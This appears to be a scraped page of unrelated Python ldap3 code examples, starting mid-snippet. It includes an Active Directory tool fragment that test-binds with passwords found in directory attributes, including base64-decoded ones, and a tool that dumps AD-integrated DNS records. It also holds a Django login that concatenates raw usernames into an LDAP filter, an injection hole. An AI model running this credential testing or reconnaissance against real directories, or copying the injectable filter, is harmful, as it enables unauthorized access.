                print('')
                return user, password

        test_conn.unbind()

        # Attempt for base64
        # Could be base64, lets try
        try:
            pw = base64.b64decode(bytes(password, encoding='utf-8')).decode('utf-8')
        except base64.binascii.Error:
            return None
    
        # Attempt decoded PW
        dc_test_conn = Server(self.server, get_info=ALL)
        test_conn = Connection(dc_test_conn, user=user, password=pw)
        test_conn.bind()
        # Validate the login (bind) request
        if int(test_conn.result['result']) != 0:
            if self.CREDS:
                print('[ ' + colored('INFO', 'yellow') +' ] User: "******" with: "{1}" as possible base64 decoded password'.format(user, pw))
            else:
                print('[ ' + colored('INFO', 'green') +' ] User: "******" with: "{1}" was not base64 encoded'.format(user, pw))
        else:
            if self.CREDS:
                print('[ ' + colored('INFO', 'yellow') +' ] User: "******" had base64 encoded password of: "{1}" in a property'.format(user, pw))
            else:
                print('[ ' + colored('OK', 'yellow') +' ] User: "******" had base64 encoded password of: "{1}" in a property - continuing with these creds'.format(user, pw))
                print('')
                return user, pw
예제 #52
0
def authorize(request):

	global session
	context={'checked':True}
	if(session!=None and session.exists('user_type')):
		if(session['user_type']=='student'):
			return redirect('/ppa/student/')
		elif(session[('user_type')]=='professor'):
			return redirect('/ppa/professor/')

	if(request.method == 'POST'):

		user_type = None
		uname = request.POST.get('username')
		pwd = request.POST.get('password')

		# if(request.POST.get('student-login')!=None):
        #
		# 	user_type = "student"
        #
		# elif(request.POST.get('admin-login')!=None):
        #
		# 	user_type = "admin"

		s = Server('ldap://ldap.iitb.ac.in', get_info=ALL)
		c = Connection(s, auto_bind=True)

		a = c.search('dc=iitb,dc=ac,dc=in', '(uid='+uname+')', )

		if(a):

			b = str(c.entries[0])
			# print(b)
			# start = b.index('uid')
			# end = b.index('in')
			user_dn = c.response[0]['dn']

			#to get dept of user

			context={'checked':True}
			info = b.split(',')
			user_dept = dept_to_short[info[2][3:]]
			if(info[1][3:] == "FAC"):
			    user_type="professor"
			elif(info[1][3:] == "UG"):
			    user_type = "student"
			elif(info[1][3:] == "PG"):
			    user_type = "student"
			elif(info[1][3:] == "DD"):
			    user_type = "student"
			else :
			    return render(request,'ppa/base_login_page.html',context)

			 

			#ending to get dept of user

			c1 = Connection(s, user_dn, pwd)

			if(not c1.bind()):
				return redirect('/ppa/login/')

			else:
				redir_url = ""
				session = SessionStore()
				if(user_type=="student"):
					u = Student.objects.filter(ldap_id=uname).first()
					redir_url = "/ppa/student/"
					if(u is None):
						u = Student(ldap_id=uname, department=user_dept, name="", email=uname+"@iitb.ac.in")
						redir_url = "/ppa/my_info/"
						u.save()
    				# commented out the following to allow changing of ldap passwords
    				# u = authenticate(username=uname, password=pwd)
					if(u is not None):
						session['user_type']=user_type
						session['ldap_id']=uname
						session.save()
						request.session['session_key'] = session.session_key
						return redirect(redir_url)
					else:
						return redirect('/ppa/login/')
				elif(user_type=="professor"):
					u = Prof.objects.filter(ldap_id=uname).first()
					redir_url = "/ppa/professor/"
					if(u is None):
						u = Prof(ldap_id=uname, department=user_dept, name="", email=uname+"@iitb.ac.in")
						redir_url = "/ppa/professor/my_info/"
						u.save()
    				# commented out the following to allow changing of ldap passwords
    				# u = authenticate(username=uname, password=pwd)
					if(u is not None):
						session['user_type']=user_type
						session['ldap_id']=uname
						session.save()
						request.session['session_key'] = session.session_key
						return redirect(redir_url)
					else:
						render(request,'ppa/base_login_page.html',context)
				else:
					render(request,'ppa/base_login_page.html',context)
		else:
			return render(request,'ppa/base_login_page.html',context)
예제 #53
0
class auditSecComp_ldap:

  def __init__(self, ldapServer, userDN, password, reportPath):
    Domain = '.orchard.osh'
    if '.' not in ldapServer:
      self.ldapServer = ldapServer + Domain

    self.ldapServer = "dc01.orchard.osh" if not ldapServer else ldapServer
    self.UserDN = "CN=Lookitup4,OU=Users,OU=Administrative,DC=Orchard,DC=osh" if not userDN else userDN
    self.Password = "******" if not password else password
    ## self.Port = 636

    ## first open a connection to the server:
    server = Server(self.ldapServer)
    self.conn = Connection(server, user=self.UserDN, password=self.Password)

    self.lastMonth = Enums.strLastMonth  # May
    self.DateTime = Enums.strDateTime

    if not os.path.isfile(reportPath):
      self.wb2 = Workbook()
      # self.wb2.remove_sheet(self.wb2.active)
      self.wb2.save(reportPath)

    self.reportPath = reportPath      # reportPath = r"C:/staging/python/pilot/test_fromBZ2_all.xlsx"

    self.wb2 = pd.ExcelWriter(self.reportPath, engine='openpyxl')
    # self.wb2.remove_sheet(self.wb2.active)
    self.book = load_workbook(self.reportPath)
    self.wb2.book = self.book

    # Remove the default sheet
    default_sheet = self.wb2.book["Sheet"]
    self.wb2.book.remove(default_sheet)
    # default_sheet = self.wb2.book.get_sheet_by_name("Sheet") # deprecated function get_sheet_by_name (Use wb[sheetname])
    # self.wb2.book.remove_sheet(default_sheet) # deprecated function remove_sheet (Use wb.remove(worksheet) or del wb[sheetname])


  def getLDAPLinuxAccessGroupMembers(self, baseDN, searchScope, searchFilter, retrieveAttributes, derefAliases):

    self.conn.open()
    self.conn.bind()

    wmsLinuxAccessGroupMembers_l = []

    derefAliases = DEREF_ALWAYS if not derefAliases else derefAliases

    ## Review WMS Access Groups - Print group members for server access.
    self.conn.search(search_base=baseDN, search_scope=searchScope, search_filter=searchFilter, attributes=retrieveAttributes,
                dereference_aliases=derefAliases)

    ## WMS LDAP access:
    responses_d = self.conn.response[0]
    attributes_d = responses_d['attributes']

    for member in attributes_d['member']:
      wmsLinuxAccessGroupMembers_l.append(member)

    self.conn.unbind()
    return wmsLinuxAccessGroupMembers_l


  def getLinuxGroupMembers(self, baseDN, searchScope, retrieveAttributes, gidNumbers):

    self.conn.open()
    self.conn.bind()

    gidMembers_d = {}
    for gidNum in gidNumbers:
      searchFilter = '(gidNumber=' + gidNum + ')'

      self.conn.search(search_base=baseDN, search_scope=searchScope, search_filter=searchFilter,
                  attributes=retrieveAttributes)

      gidMembers_l = []
      for member_d in self.conn.response:
        for key, value in member_d.items():
          if key == 'dn':
            gidMembers_l.append(member_d[key])
          else:
            continue

      gidMembers_d[gidNum] = gidMembers_l

    self.conn.unbind()
    return gidMembers_d
예제 #54
0
def mock_slapd_connection(password: str) -> Connection:
    """Create mock AD connection"""
    server = Server("my_fake_server", get_info=OFFLINE_SLAPD_2_4)
    _pass = "******"  # noqa # nosec
    connection = Connection(
        server,
        user="******",
        password=_pass,
        client_strategy=MOCK_SYNC,
    )
    # Entry for password checking
    connection.strategy.add_entry(
        "cn=user,ou=users,dc=goauthentik,dc=io",
        {
            "name": "test-user",
            "uid": "unique-test-group",
            "objectClass": "person",
            "displayName": "Erin M. Hagens",
        },
    )
    connection.strategy.add_entry(
        "cn=group1,ou=groups,dc=goauthentik,dc=io",
        {
            "cn": "group1",
            "uid": "unique-test-group",
            "objectClass": "groupOfNames",
            "member": ["cn=user0,ou=users,dc=goauthentik,dc=io"],
        },
    )
    # Group without SID
    connection.strategy.add_entry(
        "cn=group2,ou=groups,dc=goauthentik,dc=io",
        {
            "cn": "group2",
            "objectClass": "groupOfNames",
        },
    )
    connection.strategy.add_entry(
        "cn=user0,ou=users,dc=goauthentik,dc=io",
        {
            "userPassword": password,
            "name": "user0_sn",
            "uid": "user0_sn",
            "objectClass": "person",
        },
    )
    # User without SID
    connection.strategy.add_entry(
        "cn=user1,ou=users,dc=goauthentik,dc=io",
        {
            "userPassword": "******",
            "name": "user1_sn",
            "objectClass": "person",
        },
    )
    # Duplicate users
    connection.strategy.add_entry(
        "cn=user2,ou=users,dc=goauthentik,dc=io",
        {
            "userPassword": "******",
            "name": "user2_sn",
            "uid": "unique-test2222",
            "objectClass": "person",
        },
    )
    connection.strategy.add_entry(
        "cn=user3,ou=users,dc=goauthentik,dc=io",
        {
            "userPassword": "******",
            "name": "user2_sn",
            "uid": "unique-test2222",
            "objectClass": "person",
        },
    )
    connection.bind()
    return connection
예제 #55
0
def main():
    parser = argparse.ArgumentParser(
        description=
        'Query/modify DNS records for Active Directory integrated DNS via LDAP'
    )
    parser._optionals.title = "Main options"
    parser._positionals.title = "Required options"

    #Main parameters
    #maingroup = parser.add_argument_group("Main options")
    parser.add_argument(
        "host",
        type=native_str,
        metavar='HOSTNAME',
        help="Hostname/ip or ldap://host:port connection string to connect to")
    parser.add_argument("-u",
                        "--user",
                        type=native_str,
                        metavar='USERNAME',
                        help="DOMAIN\\username for authentication.")
    parser.add_argument(
        "-p",
        "--password",
        type=native_str,
        metavar='PASSWORD',
        help="Password or LM:NTLM hash, will prompt if not specified")
    parser.add_argument(
        "--forest",
        action='store_true',
        help="Search the ForestDnsZones instead of DomainDnsZones")
    parser.add_argument(
        "--legacy",
        action='store_true',
        help="Search the System partition (legacy DNS storage)")
    parser.add_argument(
        "--zone",
        help="Zone to search in (if different than the current domain)")
    parser.add_argument(
        "--print-zones",
        action='store_true',
        help=
        "Only query all zones on the DNS server, no other modifications are made"
    )
    parser.add_argument("-v",
                        "--verbose",
                        action='store_true',
                        help="Show verbose info")
    parser.add_argument("-d",
                        "--debug",
                        action='store_true',
                        help="Show debug info")
    parser.add_argument("-r",
                        "--resolve",
                        action='store_true',
                        help="Resolve hidden recoreds via DNS")
    parser.add_argument("--dns-tcp",
                        action='store_true',
                        help="Use DNS over TCP")
    parser.add_argument("--include-tombstoned",
                        action='store_true',
                        help="Include tombstoned (deleted) records")
    parser.add_argument("--ssl",
                        action='store_true',
                        help="Connect to LDAP server using SSL")
    parser.add_argument(
        "--referralhosts",
        action='store_true',
        help="Allow passthrough authentication to all referral hosts")
    parser.add_argument(
        "--dcfilter",
        action='store_true',
        help="Use an alternate filter to identify DNS record types")
    parser.add_argument(
        "--sslprotocol",
        type=native_str,
        help=
        "SSL version for LDAP connection, can be SSLv23, TLSv1, TLSv1_1 or TLSv1_2"
    )

    args = parser.parse_args()
    #Prompt for password if not set
    authentication = None
    if args.user is not None:
        authentication = NTLM
        if not '\\' in args.user:
            print_f('Username must include a domain, use: DOMAIN\\username')
            sys.exit(1)
        if args.password is None:
            args.password = getpass.getpass()

    # define the server and the connection
    s = Server(args.host, get_info=ALL)
    if args.ssl:
        s = Server(args.host, get_info=ALL, port=636, use_ssl=True)
    if args.sslprotocol:
        v = {'SSLv23': 2, 'TLSv1': 3, 'TLSv1_1': 4, 'TLSv1_2': 5}
        if args.sslprotocol not in v.keys():
            parser.print_help(sys.stderr)
            sys.exit(1)
        s = Server(args.host,
                   get_info=ALL,
                   port=636,
                   use_ssl=True,
                   tls=Tls(validate=0, version=v[args.sslprotocol]))
    if args.referralhosts:
        s.allowed_referral_hosts = [('*', True)]
    print_m('Connecting to host...')
    c = Connection(s,
                   user=args.user,
                   password=args.password,
                   authentication=authentication,
                   auto_referrals=False)
    print_m('Binding to host')
    # perform the Bind operation
    if not c.bind():
        print_f('Could not bind with specified credentials')
        print_f(c.result)
        sys.exit(1)
    print_o('Bind OK')
    domainroot = s.info.other['defaultNamingContext'][0]
    forestroot = s.info.other['rootDomainNamingContext'][0]
    if args.forest:
        dnsroot = 'CN=MicrosoftDNS,DC=ForestDnsZones,%s' % forestroot
    else:
        if args.legacy:
            dnsroot = 'CN=MicrosoftDNS,CN=System,%s' % domainroot
        else:
            dnsroot = 'CN=MicrosoftDNS,DC=DomainDnsZones,%s' % domainroot

    if args.print_zones:
        domaindnsroot = 'CN=MicrosoftDNS,DC=DomainDnsZones,%s' % domainroot
        zones = get_dns_zones(c, domaindnsroot, args.verbose)
        if len(zones) > 0:
            print_m('Found %d domain DNS zones:' % len(zones))
            for zone in zones:
                print('    %s' % zone)
        forestdnsroot = 'CN=MicrosoftDNS,DC=ForestDnsZones,%s' % forestroot
        zones = get_dns_zones(c, forestdnsroot, args.verbose)
        if len(zones) > 0:
            print_m('Found %d forest DNS zones (dump with --forest):' %
                    len(zones))
            for zone in zones:
                print('    %s' % zone)
        legacydnsroot = 'CN=MicrosoftDNS,CN=System,%s' % domainroot
        zones = get_dns_zones(c, legacydnsroot, args.verbose)
        if len(zones) > 0:
            print_m('Found %d legacy DNS zones (dump with --legacy):' %
                    len(zones))
            for zone in zones:
                print('    %s' % zone)
        return

    if args.zone:
        zone = args.zone
    else:
        # Default to current domain
        zone = ldap2domain(domainroot)

    searchtarget = 'DC=%s,%s' % (zone, dnsroot)
    print_m('Querying zone for records')
    sfilter = '(objectClass=*)' if not args.dcfilter else '(DC=*)'
    c.extend.standard.paged_search(
        searchtarget,
        sfilter,
        search_scope=LEVEL,
        attributes=['dnsRecord', 'dNSTombstoned', 'name'],
        paged_size=500,
        generator=False)
    targetentry = None
    if args.resolve:
        dnsresolver = get_dns_resolver(args.host)
    else:
        dnsresolver = None
    outdata = []
    for targetentry in c.response:
        if targetentry['type'] != 'searchResEntry':
            print(targetentry)
            continue
        if not targetentry['attributes']['name']:
            # No permission to view those records
            recordname = targetentry['dn'][3:targetentry['dn'].
                                           index(searchtarget) - 1]
            if not args.resolve:
                outdata.append({'name': recordname, 'type': '?', 'value': '?'})
                if args.verbose:
                    print_o('Found hidden record %s' % recordname)
            else:
                # Resolve A query
                try:
                    res = dnsresolver.query('%s.%s.' % (recordname, zone),
                                            'A',
                                            tcp=args.dns_tcp,
                                            raise_on_no_answer=False)
                except (dns.resolver.NoAnswer, dns.resolver.NXDOMAIN,
                        dns.resolver.Timeout, dns.name.EmptyLabel) as e:
                    if args.verbose:
                        print_f(str(e))
                    print_m(
                        'Could not resolve node %s (probably no A record assigned to name)'
                        % recordname)
                    outdata.append({
                        'name': recordname,
                        'type': '?',
                        'value': '?'
                    })
                    continue
                if len(res.response.answer) == 0:
                    print_m(
                        'Could not resolve node %s (probably no A record assigned to name)'
                        % recordname)
                    outdata.append({
                        'name': recordname,
                        'type': '?',
                        'value': '?'
                    })
                    continue
                if args.verbose:
                    print_o('Resolved hidden record %s' % recordname)
                for answer in res.response.answer:
                    try:
                        outdata.append({
                            'name':
                            recordname,
                            'type':
                            RECORD_TYPE_MAPPING[answer.rdtype],
                            'value':
                            str(answer[0])
                        })
                    except KeyError:
                        print_m('Unexpected record type seen: {}'.format(
                            answer.rdtype))
        else:
            recordname = targetentry['attributes']['name']
            if args.verbose:
                print_o('Found record %s' % targetentry['attributes']['name'])

        # Skip tombstoned records unless requested
        if targetentry['attributes'][
                'dNSTombstoned'] and not args.include_tombstoned:
            continue

        for record in targetentry['raw_attributes']['dnsRecord']:
            dr = DNS_RECORD(record)
            # dr.dump()
            # print targetentry['dn']
            if args.debug:
                print_record(dr, targetentry['attributes']['dNSTombstoned'])
            if dr['Type'] == 1:
                address = DNS_RPC_RECORD_A(dr['Data'])
                outdata.append({
                    'name': recordname,
                    'type': RECORD_TYPE_MAPPING[dr['Type']],
                    'value': address.formatCanonical()
                })
            if dr['Type'] in [
                    a for a in RECORD_TYPE_MAPPING
                    if RECORD_TYPE_MAPPING[a] in ['CNAME', 'NS', 'PTR']
            ]:
                address = DNS_RPC_RECORD_NODE_NAME(dr['Data'])
                outdata.append({
                    'name':
                    recordname,
                    'type':
                    RECORD_TYPE_MAPPING[dr['Type']],
                    'value':
                    address[list(address.fields)[0]].toFqdn()
                })
            elif dr['Type'] == 28:
                address = DNS_RPC_RECORD_AAAA(dr['Data'])
                outdata.append({
                    'name': recordname,
                    'type': RECORD_TYPE_MAPPING[dr['Type']],
                    'value': address.formatCanonical()
                })
            elif dr['Type'] not in [
                    a for a in RECORD_TYPE_MAPPING
                    if RECORD_TYPE_MAPPING[a] in ['A', 'AAAA,'
                                                  'CNAME', 'NS']
            ]:
                if args.debug:
                    print_m('Unexpected record type seen: {}'.format(
                        dr['Type']))

            continue
    print_o('Found %d records' % len(outdata))
    with codecs.open('records.csv', 'w', 'utf-8') as outfile:
        outfile.write('type,name,value\n')
        for row in outdata:
            outfile.write('{type},{name},{value}\n'.format(**row))
예제 #56
0
def chat_server():
    server_socket.bind((HOST, PORT))
    server_socket.listen(10)
    # add server socket object to the list of readable connections
    SOCKET_LIST.append(server_socket)
    print("Chat server started on port " + str(PORT))
    while 1:
        # get the list sockets which are ready to be read through select
        ready_to_read, ready_to_write, in_error = select.select(
            SOCKET_LIST, [], [], 0)
        for sock in ready_to_read:
            # a new connection request recieved
            if sock == server_socket:
                sockfd, addr = server_socket.accept()
                SOCKET_LIST.append(sockfd)
                print("Client (%s, %s) connected" % addr)

            else:
                # process data recieved from client,
                # try:
                # receiving data from the socket.
                data = sock.recv(RECV_BUFFER)
                c.execute(
                    "SELECT * FROM userlist ORDER BY strftime('%Y-%m-%d %H:%M:%S',lastseen) DESC"
                )
                query = c.fetchall()
                # print(query)
                if data:
                    addr = sock.getpeername()
                    data = data.decode()
                    data = json.loads(
                        data)  #After this line data is a json object with
                    # the attribute username containing the list of receivers of the message(this is also an attribute)
                    # print(data,"dfs")
                    c.execute(
                        "SELECT username FROM userlist WHERE socketnumber = ?",
                        (sock.fileno(), ))
                    query = c.fetchall()
                    if len(query) is not 0:
                        user = query[0][0]

                    if data['action'] == "authentication":

                        s = Server(
                            "10.129.3.114", get_info=ALL
                        )  # define an unsecure LDAP server, requesting info on DSE and schema
                        name1 = data['username']
                        dnName = "cn=" + name1 + ",dc=cs252lab,dc=cse,dc=iitb,dc=ac,dc=in"
                        try:
                            con = Connection(s,
                                             dnName,
                                             data['password'],
                                             auto_bind=True)
                            con.bind()
                            msg = 'Authenticated'
                            sock.send(msg.encode())
                            #check if the user is there in the database
                            c.execute(
                                "SELECT rowid FROM userlist WHERE username = ?",
                                (data['username'], ))
                            query = c.fetchall()
                            # print(query)
                            if len(query) is 0:
                                # If user is not there in the database enter it
                                c.execute(
                                    "INSERT INTO userlist VALUES (?,?,1,?)",
                                    (data['username'], datetime.datetime.now(),
                                     sock.fileno()))
                            else:
                                # else update the online status
                                c.execute(
                                    '''UPDATE userlist SET online = ?, lastseen =?, socketnumber =? WHERE username = ? ''',
                                    (1, datetime.datetime.now(), sock.fileno(),
                                     data['username']))

                        except:
                            # print ("Your username or password is incorrect.")
                            msg = 'error'
                            sock.send(msg.encode())
                            # print('failed')
                    if data['action'] == 'exit':
                        c.execute(
                            '''UPDATE userlist SET online = ?, lastseen =?, socketnumber =? WHERE username = ? ''',
                            (0, datetime.datetime.now(), None,
                             data['username']))
                        print("Exit")
                        msg = "Done"
                        sock.send(msg.encode())
                    if data['action'] == 'main screen':
                        #Shows the messages received by the user when he was offline and info about how to get help
                        # print('main screen')
                        msg = 'Type <--help--> for help\n'
                        sock.send(msg.encode())
                        # Get the messages which were not seen by the user
                        c.execute(
                            "SELECT * FROM messagelist WHERE username = ? and seen=? ORDER BY strftime('%Y-%m-%d %H:%M:%S',sentTime) ASC",
                            (user, 0))
                        query = c.fetchall()
                        msg = ''
                        # if there are some messages then concatenate them
                        if len(query) != 0:
                            msg = msg + 'Your Previous messages are - \n'
                        #for each message convert it into proper format
                        for i in query:
                            time = i[4]
                            time_object = datetime.datetime.strptime(
                                i[4], "%Y-%m-%d %H:%M:%S.%f")
                            if time_object.strftime(
                                    "%m %d") == datetime.datetime.now(
                                    ).strftime("%m %d"):
                                time = time_object.strftime("%H:%M:%S")
                            else:
                                time = time_object.strftime("%m %d")

                            if i[3] == '':
                                msg = msg + '[M] - [' + i[
                                    2] + '] - ' + time + '\n'
                            else:
                                msg = msg + '[M] - [' + i[3] + '] - [' + i[
                                    2] + '] - ' + time + '\n'
                            msg = msg + i[5]

                        sock.send(msg.encode())
                        #update the seen status of the messages
                        c.execute("UPDATE messagelist SET seen=? WHERE seen=?",
                                  (1, 0))
                        conn.commit()

                    if data['action'] == 'send to users':
                        # print('send to users')
                        sendusers(user, data['users'], data['message'])

                    if data['action'] == 'send to groups':
                        print('send to groups')
                        sendgroups(user, data['groups'], data['message'])

                    if data['action'] == 'leave group':
                        print('leave group')
                        # Leave the group
                        msg = ''
                        for g in data['groups']:
                            # This contains the name of all the groups which the user wants to leave
                            # Get the group Id of all the groups which the user wants to leave
                            c.execute(
                                "SELECT rowid FROM grouplist WHERE groupname = ?",
                                (g, ))
                            q = c.fetchall()
                            query = []
                            for j in q:
                                query.append(j[0])

                            # print("query ",query)
                            # Check if the user is a part of those groups
                            user_group_list = []
                            for i in query:
                                c.execute(
                                    "SELECT rowid FROM group_user WHERE user_id=? and group_id = ?",
                                    (user, i))
                                rowid = c.fetchall()
                                if len(rowid) != 0:
                                    user_group_list.append(i)

                            if len(user_group_list) == 0:
                                msg = msg + 'The user does not belong to group ' + g + '\n'
                            elif len(user_group_list) == 1:
                                c.execute(
                                    "DELETE FROM group_user WHERE user_id = ? and group_id= ?",
                                    (user, user_group_list[0]))
                            else:
                                msg = msg + 'There are more than one ocurrance of ' + g + ' Choose an appropriate \n'

                        sock.send(msg.encode())

                    if data['action'] == 'add users to group':
                        c.execute(
                            "SELECT rowid FROM grouplist WHERE groupname = ?",
                            (data['group'], ))
                        #Get the group id of the group
                        q = c.fetchall()
                        # Check if the group exists
                        if (len(q) == 0):
                            msg = "Invalid Group"
                            sock.send(msg.encode())

                        else:
                            query = []
                            ## Add the group id to the list query
                            for j in q:
                                query.append(j[0])

                            #For checking if the user if a part of this group
                            user_group_list = []

                            for i in query:
                                #If the user is a part of that group only then append it to user_group_list
                                c.execute(
                                    "SELECT rowid FROM group_user WHERE user_id=? and group_id = ?",
                                    (user, i))
                                rowid = c.fetchall()
                                if len(rowid) != 0:
                                    user_group_list.append(i)

                            if len(user_group_list) == 1:
                                # Send this message to the users added
                                msg = 'You were added to the group ' + data[
                                    'group'] + ' by ' + user + '\n'
                                for i in data['users']:
                                    # Get the socket number of all the added users
                                    c.execute(
                                        "SELECT socketnumber FROM userlist WHERE username = ?",
                                        (i, ))
                                    sockno = c.fetchall()
                                    is_online = 0
                                    s = ''
                                    # check if they are online
                                    for socket in SOCKET_LIST:
                                        if sockno[0][0] == socket.fileno():
                                            s = socket
                                            is_online = 1
                                            break
                                    if is_online == 1:
                                        #If is online make the seen field one otherwise 0 and send the message to the added user
                                        c.execute(
                                            "INSERT INTO messagelist VALUES (?,?,?,?,?,?)",
                                            (i, 1, user, data['group'],
                                             datetime.datetime.now(), msg))
                                        s.send(msg.encode())
                                        c.execute(
                                            "INSERT INTO group_user VALUES (?,?,?)",
                                            (i, user_group_list[0], 0))
                                    else:
                                        #Add this to the message list
                                        c.execute(
                                            "INSERT INTO messagelist VALUES (?,?,?,?,?,?)",
                                            (i, 0, user, data['group'],
                                             datetime.datetime.now(), msg))
                                        c.execute(
                                            "INSERT INTO group_user VALUES (?,?,?)",
                                            (i, user_group_list[0], 1))

                            # send this message to the user who sent this command
                            msg = 'Added users to groups :\n'
                            for groups in user_group_list:
                                c.execute(
                                    "SELECT groupname FROM grouplist WHERE rowid = ?",
                                    (groups, ))
                                name = c.fetchall()
                                msg += name[0][0] + " "
                                msg += '\n'
                            sock.send(msg.encode())

                    if data['action'] == 'create group':
                        # print('create group')
                        for i in data['groups']:
                            # Insert the group name into the database
                            c.execute("INSERT INTO grouplist VALUES (?)",
                                      (i, ))
                            # q=c.lastrowid
                            # print("rowid of inserted",q)
                            #Insert the user into the members of the group
                            c.execute("INSERT INTO group_user VALUES (?,?,?)",
                                      (user, q, 0))
                        # send message to the user who sent this command
                        msg = 'Group created successfully\n'
                        sock.send(msg.encode())

                    if data['action'] == 'show messages group':
                        # sends the number of messages requested from the group
                        c.execute(
                            "SELECT * FROM messagelist WHERE username = ? and sentByGroup=? ORDER BY strftime('%Y-%m-%d %H:%M:%S',sentTime) DESC",
                            (user, data['group']))
                        query = c.fetchall()
                        msg = ''
                        # Check if there are any messages in the group
                        if len(query) != 0:
                            msg = msg + 'Previous messages in group ' + data[
                                'group'] + ' are - \n'
                        else:
                            msg = msg + 'There are no messages to show\n'

                        for i in range(int(data['number'])):
                            # When number of messages demanded becomes greater than the number of messages available
                            if i > len(query) - 1:
                                break
                            # Get the time stamp of the messages
                            time = query[i][4]
                            time_object = datetime.datetime.strptime(
                                query[i][4], "%Y-%m-%d %H:%M:%S.%f")
                            #Convert into proper format the time stamp
                            if time_object.strftime(
                                    "%m %d") == datetime.datetime.now(
                                    ).strftime("%m %d"):
                                time = time_object.strftime("%H:%M:%S")
                            else:
                                time = time_object.strftime("%m %d")

                            if query[i][3] == '':
                                # If the message does not belong to a group
                                msg = msg + '[M] - [' + query[i][
                                    2] + '] - ' + time + '\n'
                            else:
                                # Else the message belongs to a group
                                msg = msg + '[M] - [' + query[i][
                                    3] + '] - [' + query[i][
                                        2] + '] - ' + time + '\n'
                            msg = msg + query[i][5]

                        sock.send(msg.encode())

                    if data['action'] == 'show messages user':
                        # similar to show messages group
                        # Just shows the number of messages demanded which are sent by a specific user
                        c.execute(
                            "SELECT * FROM messagelist WHERE username = ? and sentByUser=? ORDER BY strftime('%Y-%m-%d %H:%M:%S',sentTime) DESC",
                            (user, data['user']))
                        query = c.fetchall()
                        msg = ''
                        if len(query) != 0:
                            msg = msg + 'Previous messages by user ' + data[
                                'user'] + ' are - \n'
                        else:
                            msg = msg + 'There are no messages to show\n'
                        for i in range(int(data['number'])):
                            if i > len(query) - 1:
                                break
                            time = query[i][4]
                            time_object = datetime.datetime.strptime(
                                query[i][4], "%Y-%m-%d %H:%M:%S.%f")
                            if time_object.strftime(
                                    "%m %d") == datetime.datetime.now(
                                    ).strftime("%m %d"):
                                time = time_object.strftime("%H:%M:%S")
                            else:
                                time = time_object.strftime("%m %d")

                            if query[i][3] == '':
                                msg = msg + '[M] - [' + query[i][
                                    2] + '] - ' + time + '\n'
                            else:
                                msg = msg + '[M] - [' + query[i][
                                    3] + '] - [' + query[i][
                                        2] + '] - ' + time + '\n'
                            msg = msg + query[i][5]

                        sock.send(msg.encode())

                    if data['action'] == 'show-all-users':
                        # Sends the online status of all the users
                        c.execute("SELECT * from userlist")
                        query = c.fetchall()
                        msg = ""
                        # If there are no users in the database
                        if len(query) == 0:
                            msg = "There are no users to stalk\n"
                        else:
                            msg = "The following users are/were active on the chat client\n"

                            for i in range(len(query)):

                                if query[i][0] != data['username']:

                                    if query[i][2] == 1:
                                        msg = msg + query[i][
                                            0] + " is now online\n"
                                    else:
                                        time_object = datetime.datetime.strptime(
                                            query[i][1],
                                            "%Y-%m-%d %H:%M:%S.%f")
                                        if time_object.strftime(
                                                "%m %d"
                                        ) == datetime.datetime.now().strftime(
                                                "%m %d"):
                                            time = time_object.strftime(
                                                "%H:%M:%S")
                                        else:
                                            time = time_object.strftime(
                                                "%m %d")
                                        msg = msg + query[i][
                                            0] + " was online at " + time + "\n"

                        sock.send(msg.encode())

                    if data['action'] == 'show-all-groups':
                        # sends info about all the groups that user is a part of
                        c.execute(
                            "SELECT group_id from group_user WHERE user_id = ?",
                            (data['username'], ))
                        query = c.fetchall()
                        msg = ""
                        # check if the user is a part of any group
                        if len(query) == 0:
                            msg = "You are not a part of any group\n"
                        else:
                            for i in range(len(query)):
                                c.execute(
                                    "SELECT user_id from group_user WHERE group_id = ?",
                                    (query[i][0], ))
                                # Get all the users of the group
                                query1 = c.fetchall()
                                c.execute(
                                    "SELECT groupname from grouplist WHERE rowid = ?",
                                    (query[i][0], ))
                                # Get all the group names
                                query2 = c.fetchall()

                                if len(query1) == 1:
                                    msg = msg + "Only you are part of the group " + query2[
                                        0][0] + "\n"
                                else:
                                    msg = msg + "The following members are part of the group " + query2[
                                        0][0] + "\n"

                                    for j in range(len(query1)):
                                        if query1[j][0] != data['username']:
                                            msg = msg + query1[j][0] + "\n"

                        sock.send(msg.encode())

                    if data['action'] == 'show-specific-groups':
                        # Get the group name requested
                        c.execute(
                            "SELECT rowid from grouplist WHERE groupname = ?",
                            (data['group_name'][0], ))
                        query = c.fetchall()
                        msg = ""
                        # check if the user is a part of  the group
                        if len(query) == 0:
                            msg = "You are not a part of this group\n"
                        elif len(query) >= 2:
                            # If there are requests for mutiple groups
                            # Concatenate the group ids  of the group in the message
                            msg = "You are part of the following groups:\n"
                            msg = msg + "Select the group id you wish to see with the command <--show-specific-group_id--> group_id\n"
                            for i in range(len(query)):
                                c.execute(
                                    "SELECT user_id from group_user WHERE group_id = ?",
                                    (query[i][0], ))
                                query1 = c.fetchall()
                                msg = msg + "Group id: " + str(
                                    query[i]
                                    [0]) + " and Number of users: " + str(
                                        len(query1)) + "\n"
                        else:
                            # For single group send the online status
                            c.execute(
                                "SELECT user_id from group_user WHERE group_id = ?",
                                (query[0][0], ))
                            query1 = c.fetchall()
                            count = 0
                            for i in range(len(query1)):
                                c.execute(
                                    "SELECT online from userlist WHERE username = ?",
                                    (query1[i][0], ))
                                query2 = c.fetchall()
                                if query2[0][0] == 1:
                                    count += 1
                            msg = "There are " + str(
                                count) + " users online now\n"

                        sock.send(msg.encode())

                    if data['action'] == 'show-specific-group_id':
                        # Sends the number of users online in the group now
                        c.execute(
                            "SELECT user_id from group_user WHERE group_id = ?",
                            (data['group_id'][0], ))
                        # get all the users in the group
                        query1 = c.fetchall()
                        count = 0
                        for i in range(len(query1)):
                            if query1[i][0] != data['username']:
                                c.execute(
                                    "SELECT online from userlist WHERE username = ?",
                                    (query1[i][0], ))
                                query2 = c.fetchall()
                                # for each user check if he is online
                                if query2[0][0] == 1:
                                    count += 1
                        if count > 0:
                            msg = "There are " + str(
                                count) + " users online now\n"
                        else:
                            msg = "Only you are online now\n"

                        sock.send(msg.encode())

                    if data['action'] == 'block-users':
                        # Prevents the users from sending the message to the user who request this
                        for i in data['users']:
                            # add entry to the database
                            c.execute(
                                "SELECT * FROM blocklist WHERE blockingusername = ? and blockedusername=?",
                                (user, i))
                            query = c.fetchall()
                            # check if already blocked
                            if len(query) != 0:
                                continue
                            else:
                                c.execute("INSERT INTO blocklist VALUES (?,?)",
                                          (user, i))
                                conn.commit()

                    if data['action'] == 'unblock-users':
                        for i in data['users']:
                            c.execute(
                                "SELECT * FROM blocklist WHERE blockingusername = ? and blockedusername=?",
